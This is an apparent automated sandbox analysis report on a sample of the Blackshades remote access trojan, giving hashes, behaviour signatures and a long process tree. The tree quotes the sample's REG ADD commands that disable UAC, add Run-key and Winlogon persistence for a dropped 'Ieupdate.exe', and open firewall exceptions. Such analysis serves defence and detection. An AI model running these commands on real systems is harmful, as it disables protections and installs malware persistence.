Overview

overview

10

Static

static

5

JaffaCakes...b5.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/04/2025, 04:51

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    JaffaCakes118_9de98cdadcfdae589f98eb39bd0c8bb5.exe

  • Size

    288KB

  • MD5

    9de98cdadcfdae589f98eb39bd0c8bb5

  • SHA1

    8383e74a018001d0e2f63a4d1db8e311e647c0cf

  • SHA256

    8fd31c2e2561c330f23b0cc0e36f70a3b7fedc2bd08c02d1f3f2dd06308f8161

  • SHA512

    f578d0622fd57c9c8986d93260d19bc92dda9cb061ffa77fc060aba273ddd5f5daec4ec844d042d8156e25f9341ba835ce9b38d83263fdf71cac66162c3e105f

  • SSDEEP

    6144:ddymWtV751hbG5wf+BAcj0qKHWYt7b4bdL+8tvz4AroS:L6joBE3HXt70bNQAroS

Score
10/10
blackshadesdefense_evasiondiscoverypersistencerattrojanupx

Malware Config

Signatures

  • Blackshades

    Blackshades is a remote access trojan with various capabilities.

    ratblackshades
  • Blackshades family
    blackshades
  • Blackshades payload 30 IoCs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Modifies firewall policy service 3 TTPs 10 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 43 IoCs
    defense_evasiontrojan
  • Adds policy Run key to start application 2 TTPs 2 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 4 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Checks computer location settings 2 TTPs 44 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 64 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Suspicious use of SetThreadContext 44 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry key 1 TTPs 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of SetWindowsHookEx 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_9de98cdadcfdae589f98eb39bd0c8bb5.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_9de98cdadcfdae589f98eb39bd0c8bb5.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5832
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:752
      • C:\Windows\SysWOW64\reg.exe
        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
        3⤵
          PID:1008
        • C:\Windows\SysWOW64\reg.exe
          REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
          3⤵
          • UAC bypass
          PID:4268
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nleHd.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5892
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "IeUpdate" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /f
          3⤵
          • Adds Run key to start application
          PID:1448
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hgpSn.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4604
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "IeUpdate" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /f
          3⤵
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          PID:4772
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\GsuPK.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4784
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "Explorer.exe, C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /f
          3⤵
          • Modifies WinLogon for persistence
          PID:5376
      • C:\Program Files (x86)\Internet Explorer\Ieupdate.exe
        "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1452
        • C:\Program Files (x86)\Internet Explorer\Ieupdate.exe
          "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"
          3⤵
          • Adds policy Run key to start application
          • Boot or Logon Autostart Execution: Active Setup
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Program Files directory
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4808
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f
            4⤵
            • System Location Discovery: System Language Discovery
            PID:32
            • C:\Windows\SysWOW64\reg.exe
              REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f
              5⤵
              • Modifies firewall policy service
              • Modifies registry key
              PID:1988
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe:*:Enabled:Windows Messanger" /f
            4⤵
              PID:1632
              • C:\Windows\SysWOW64\reg.exe
                REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe" /t REG_SZ /d "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe:*:Enabled:Windows Messanger" /f
                5⤵
                • Modifies firewall policy service
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:4076
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5740
              • C:\Windows\SysWOW64\reg.exe
                REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f
                5⤵
                • Modifies firewall policy service
                • Modifies registry key
                PID:4180
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Roaming\vb6.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\vb6.exe:*:Enabled:Windows Messanger" /f
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3004
              • C:\Windows\SysWOW64\reg.exe
                REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Roaming\vb6.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\vb6.exe:*:Enabled:Windows Messanger" /f
                5⤵
                • Modifies firewall policy service
                • Modifies registry key
                PID:964
          • C:\Program Files (x86)\Internet Explorer\Ieupdate.exe
            "C:\Program Files (x86)\Internet Explorer\Ieupdate.exe"
            3⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4856
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Program Files (x86)\Internet Explorer\Ieupdate.exe
        1⤵
          PID:4652
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Program Files (x86)\Internet Explorer\Ieupdate.exe
          1⤵
            PID:4644
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
            1⤵
              PID:4844
              • C:\Users\Admin\AppData\Roaming\vb6.exe
                C:\Users\Admin\AppData\Roaming\vb6.exe
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of SetWindowsHookEx
                PID:3124
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                  3⤵
                    PID:2576
                    • C:\Windows\SysWOW64\reg.exe
                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                      4⤵
                        PID:5260
                      • C:\Windows\SysWOW64\reg.exe
                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                        4⤵
                        • UAC bypass
                        PID:5000
                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                      C:\Users\Admin\AppData\Roaming\vb6.exe
                      3⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of SetWindowsHookEx
                      PID:2992
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                  1⤵
                    PID:4012
                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                      C:\Users\Admin\AppData\Roaming\vb6.exe
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of SetWindowsHookEx
                      PID:1392
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                    1⤵
                      PID:908
                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                        C:\Users\Admin\AppData\Roaming\vb6.exe
                        2⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of SetWindowsHookEx
                        PID:3508
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                          3⤵
                            PID:5880
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                              4⤵
                                PID:5116
                              • C:\Windows\SysWOW64\reg.exe
                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                4⤵
                                • UAC bypass
                                PID:5600
                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                              C:\Users\Admin\AppData\Roaming\vb6.exe
                              3⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of SetWindowsHookEx
                              PID:624
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                          1⤵
                            PID:3812
                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                              C:\Users\Admin\AppData\Roaming\vb6.exe
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of SetWindowsHookEx
                              PID:5108
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                            1⤵
                              PID:3488
                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of SetWindowsHookEx
                                PID:1008
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                              1⤵
                                PID:2460
                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                  2⤵
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:408
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:5468
                                    • C:\Windows\SysWOW64\reg.exe
                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                      4⤵
                                        PID:1220
                                      • C:\Windows\SysWOW64\reg.exe
                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                        4⤵
                                        • UAC bypass
                                        • System Location Discovery: System Language Discovery
                                        PID:3184
                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5500
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                  1⤵
                                    PID:4528
                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                      2⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4800
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                    1⤵
                                      PID:2368
                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                        2⤵
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        • Suspicious use of SetWindowsHookEx
                                        PID:4788
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:5612
                                          • C:\Windows\SysWOW64\reg.exe
                                            REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                            4⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:1188
                                          • C:\Windows\SysWOW64\reg.exe
                                            REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                            4⤵
                                            • UAC bypass
                                            PID:1380
                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                          3⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetWindowsHookEx
                                          PID:5732
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                      1⤵
                                        PID:1916
                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                          2⤵
                                          • Checks computer location settings
                                          • Executes dropped EXE
                                          • Suspicious use of SetThreadContext
                                          • Suspicious use of SetWindowsHookEx
                                          PID:2652
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                            3⤵
                                              PID:5972
                                              • C:\Windows\SysWOW64\reg.exe
                                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                4⤵
                                                  PID:1516
                                                • C:\Windows\SysWOW64\reg.exe
                                                  REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                  4⤵
                                                  • UAC bypass
                                                  PID:1836
                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                3⤵
                                                • Executes dropped EXE
                                                • Suspicious use of SetWindowsHookEx
                                                PID:396
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                            1⤵
                                              PID:1108
                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                2⤵
                                                • Executes dropped EXE
                                                • Suspicious use of SetWindowsHookEx
                                                PID:2548
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                              1⤵
                                                PID:32
                                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                                  2⤵
                                                  • Checks computer location settings
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:2136
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                    3⤵
                                                      PID:3968
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                        4⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:4448
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                        4⤵
                                                        • UAC bypass
                                                        • System Location Discovery: System Language Discovery
                                                        PID:4812
                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                      3⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:4924
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                  1⤵
                                                    PID:1392
                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                      2⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:4912
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                    1⤵
                                                      PID:5608
                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                        2⤵
                                                        • Checks computer location settings
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        • Suspicious use of SetWindowsHookEx
                                                        PID:1788
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                          3⤵
                                                            PID:3000
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                              4⤵
                                                                PID:5440
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                4⤵
                                                                • UAC bypass
                                                                • System Location Discovery: System Language Discovery
                                                                PID:2472
                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:5600
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                          1⤵
                                                            PID:5444
                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:4148
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                            1⤵
                                                              PID:760
                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                2⤵
                                                                • Checks computer location settings
                                                                • Executes dropped EXE
                                                                • Suspicious use of SetThreadContext
                                                                • System Location Discovery: System Language Discovery
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:1660
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                  3⤵
                                                                    PID:312
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                      4⤵
                                                                        PID:5296
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                        4⤵
                                                                        • UAC bypass
                                                                        PID:2748
                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:2224
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                  1⤵
                                                                    PID:2800
                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:5588
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                    1⤵
                                                                      PID:2640
                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                        2⤵
                                                                        • Checks computer location settings
                                                                        • Executes dropped EXE
                                                                        • Suspicious use of SetThreadContext
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Suspicious use of SetWindowsHookEx
                                                                        PID:2668
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                          3⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:4744
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                            4⤵
                                                                              PID:1188
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                              4⤵
                                                                              • UAC bypass
                                                                              PID:1380
                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                            3⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            PID:5304
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                        1⤵
                                                                          PID:960
                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            PID:4804
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                          1⤵
                                                                            PID:1336
                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:4728
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                            1⤵
                                                                              PID:4872
                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                2⤵
                                                                                • Checks computer location settings
                                                                                • Executes dropped EXE
                                                                                • Suspicious use of SetThreadContext
                                                                                • Suspicious use of SetWindowsHookEx
                                                                                PID:5664
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                  3⤵
                                                                                    PID:4640
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                      4⤵
                                                                                        PID:1516
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                        4⤵
                                                                                        • UAC bypass
                                                                                        PID:1836
                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:2044
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                  1⤵
                                                                                    PID:1264
                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                      2⤵
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of SetThreadContext
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:2964
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                        3⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:3624
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                          4⤵
                                                                                            PID:5924
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                            4⤵
                                                                                            • UAC bypass
                                                                                            PID:1732
                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:4336
                                                                                    • C:\Windows\system32\cmd.exe
